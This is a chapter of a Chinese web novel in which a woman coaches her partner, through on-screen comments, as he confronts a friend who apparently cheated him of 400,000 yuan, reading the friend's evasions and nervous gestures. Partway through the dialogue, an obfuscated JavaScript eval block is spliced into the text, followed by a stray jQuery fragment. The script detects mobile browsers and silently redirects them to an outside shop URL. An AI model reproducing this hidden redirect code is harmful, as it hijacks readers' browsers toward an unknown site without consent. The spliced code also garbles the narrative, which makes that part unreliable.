饭局之后的第三天,苏晚荧发现了一件事。
陆明在撤。
不是人撤。是痕迹在撤。
第一天,什么事都没有,杭越正常上班,正常下班,正常做饭,在窗边坐一会儿。
苏晚荧没放松,她在等陆明的后续反应。
饭局上陆明全程在试探,试探完了,他不会什么都不做,赌徒评估完了就该行动了。
第二天,苏晚荧让杭越做了一件事。
白色弹幕。
【你打开微信,看看陆明的朋友圈。】
杭越在午休的时候看了。
"……看不到了,他把我屏蔽了,根本刷不出来。"
苏晚荧在屏幕前眯了一下眼。
不是删好友,是屏蔽朋友圈。
删好友太明显,等于撕破脸,屏蔽朋友圈是悄悄的,你不去翻根本发现不了。
他在切断信息通道。
【什么时候屏蔽的?你上次看到他朋友圈是什么时候?】
杭越想了想。"饭局那天中午,他发了一条说'感恩,谢谢老友相聚',之后就没了。"
【饭局当天晚上屏蔽的,吃完那顿饭,他就不想让你看到他的动态了。】
苏晚荧靠在椅背上,手指在沙发扶手上敲了两下。
一个心虚的人屏蔽你朋友圈,意味着什么?
意味着他接下来要做的事,不想让你看见。
做什么事需要屏蔽?
转移资产,卖东西,处理跟钱有关的东西,如果发了朋友圈,被你看到,就暴露了。
只发了一条。
【你有没有跟陆明的共同好友?】
"有,大学同学,老赵。"
【老赵能看到陆明朋友圈吗?】
杭越犹豫了一下,拿起手机,联系老赵。
过了两分钟,老赵回了消息。
"老赵说,陆明最近发了几条,一条是卖车的,他那辆大众,挂了二手车平台,还有一条是说他最近要出差,去南方,之后几年不回来了。"
苏晚荧在屏幕前坐直了。
卖车,变现。
"出差去南方",跑路的前奏。
两件事放在一起,信号非常明确。
他在处理资产,处理完就走。
白色弹幕。
【他在卖车,他说要出差去南方,两件事加在一起,他在变现。把能变成钱的东西变成钱,然后走。】
杭越看着弹幕,沉默了几秒。
【因为你那条朋友圈,你说要告那个骗你投资的人,他怕了,怕你查到底。他在转移资产,等你想追钱的时候,他手里已经没钱了。】
杭越没说话。
他坐在工位上,手搁在键盘上,但没在敲。
过了十几秒,他开口。
"那……我怎么办?"
【先别急,他跑不了那么快,卖车要过户,得几天,出差也不是说走就走,我们有时间。】
她顿了一下。
【但你要做一件事,约他再见一面。】
"见面?"
【就说你想跟他聊聊投资的事,别提告不告的,就说'我查了一些东西,想跟你当面说说'。】
这条弹幕苏晚荧斟酌了很久。
目的不是见面聊,是近距离观察。
陆明在撤,撤的时候一定会处理证据。处理证据的过程,就是露馅的过程。
如果杭越约他见面,陆明会来,因为他想知道杭越到底查到了什么。赌徒的评估还没结束。
但他来之前,一定会先把手里的敏感东西处理掉。
苏晚荧要的,就是这个"处理"的过程。
杭越发了消息。
"陆明,有空吗?想当面聊聊之前公司的事。"
回复来得很快。不到一分钟。
"行啊,老地方?明天晚上?"
苏晚荧看着那个"行啊"。
快,太快了。
一个正在转移资产准备跑路的人,不应该这么爽快地答应见面。
除非,他还没走完。他还需要确认杭越手里有什么。
评估没结束,他还在赌。
【他答应了,明天晚上,他来,说明他还没撤干净,他需要确认你的底牌。】
第二天白天,苏晚荧没闲着。
她把弹幕预算调到了"庭审模式"——预警类留满,指导类压到最低,其余全部留给实时观察。
她跟编剧老师通了个电话。
"一个骗子知道受害者开始追查了,他第一反应是什么?"
老师想了想:"销毁证据。"
"他会销毁什么?"
"最直接的东西。转账记录、聊天记录、合同复印件。所有能证明'钱从受害者手里到了骗子手里'的东西。"
苏晚荧的笔在纸上停了一下。
转账记录。
杭越当初投的四十万,走的是对公转账。银行流水是银行留的——删不掉。但杭越手机里有一张转账截图,是当初转账之后截的,用来发给陆明确认。
那张截图如果还在杭越手机里。那是物证。
但陆明那边也有一张。当初杭越把截图发给他确认的。
陆明要销毁的,就是那张。
苏晚荧在备忘录里写了一行。
"预判:陆明会删除跟杭越的转账相关聊天记录和截图。"
她盯着这行字。
如果陆明在见面的时候,当着杭越的面删了。
那就是自爆。
一个没做过亏心事的人,不会删跟你的聊天记录。
第二天晚上。
同一条老街,同一间饭馆。
杭越走进去的时候,陆明已经坐在上次那个角落位置。
这次没点酒,两杯茶。
苏晚荧在屏幕前调了一下坐姿,灯光偏暖,但角落位置有点暗,她把平板亮度推到最高,盯着陆明的每一个细节。
陆明站起来。
笑容跟上次一样。嘴咧得大,笑纹到颧骨不到眼角。
但苏晚荧注意到,他瘦了。
不是明显的那种瘦。是下巴的线条比三天前尖了一点,颧骨高了一点。
三天,瘦了。
焦虑性消瘦。
【他瘦了,三天瘦的,焦虑的人吃不下饭。】
杭越坐下来。
陆明给他倒了杯茶。
"你说想聊公司的事?"
"嗯。"杭越端起茶喝了一口,"我查了一下工商档案。有几个地方不太对。"
陆明的手指在茶杯上停了一下。
就一下,然后继续转杯子。
"哪儿不对?"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17973074|212643||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"注销时间,你跟我说的是去年三月,档案显示一月就提交了,差了两个月。"
陆明笑了。
"嗨,时间久了我也记不清。可能是我记错了。"
【他没否认,他用"记不清"来回,这是话术,不否认等于是默认,但用"记不清"给自己留后路。】
杭越没接他的话。继续说。
"还有一份股东会决议,上面有我的签名,但我没签过。"
空气安静了两秒。
陆明的笑没退,但苏晚荧看见他转茶杯的手指加快了,从一秒一圈变成一秒两圈。
"那个……可能是代办公司帮忙弄的,注销的时候有些材料是代办的,流程上走得比较粗。"
【他在甩锅给代办公司,这是标准的"甩锅话术",出了问题,推给第三方,但股东会决议需要本人签字或授权委托,他没你的授权委托书。】
金色弹幕。
【继续追,问他要授权委托书。】
杭越:"那代办公司应该有我的授权委托书吧?"
陆明:"应该……有吧,回头我帮你找,年代实在是太久了,可能找不到。"
"回头帮你找找",苏晚荧在屏幕前记了一笔。
这句话的意思是:现在没有,回头也找不到,因为压根不存在。
聊了十分钟。
陆明的状态比上次紧,说话语速快了,笑声频繁了,但每次笑都比上次短,从两秒缩到一秒。
苏晚荧一直在看他的手。
右手在桌面上转茶杯,左手这次没搓裤腿。
他的手机屏幕朝下扣在桌上。
苏晚荧盯着那部手机。
屏幕朝下。
一个心里没鬼的人,手机屏幕朝上还是朝下无所谓,屏幕朝下,是不想被别人看见。
他在防杭越看他的手机。
金色弹幕。
【他的手机屏幕朝下扣着,他在防你看见什么,等下找机会,不经意地往他手机方向看,别刻意。】
杭越看了一眼弹幕,没动。
他继续跟陆明聊。
"那笔四十万的应收账款,清算报告上写着'无剩余资产',但资产负债表上有这笔钱,钱去哪了?"
陆明的转茶杯动作停了。
三秒之后他笑了。
"应收账款又不等于现金,那是别人欠公司的钱,公司都注销了,账上有的也只是数字。"
【他在偷换概念,应收账款确实是别人欠公司的钱,但如果这笔应收款对应的债务人就是他本人呢?四十万从公司账户转进了他的个人账户,在公司账上记为"应收款",这是标准的做假账的流程,但公司注销后这笔钱就不用还了,钱就留在他的个人账户里。】
她只发了一条。
【他没有直接回答"钱去哪了",他用"应收账款不等于现金"来回避,一个没做过手脚的人会说"钱亏了""花完了",他会给你一个具体的去向,他不给,就说明友猫腻。】
饭局快结束的时候,关键的一幕来了。
陆明的手机震了。
屏幕朝下,但震动能感觉到,他拿起来,翻过来看了一眼。
苏晚荧在屏幕前盯着,但角度不对,杭越坐在陆明对面,陆明的手机屏幕对着陆明自己,镜头跟杭越的视线,隐约看得见陆明的屏幕。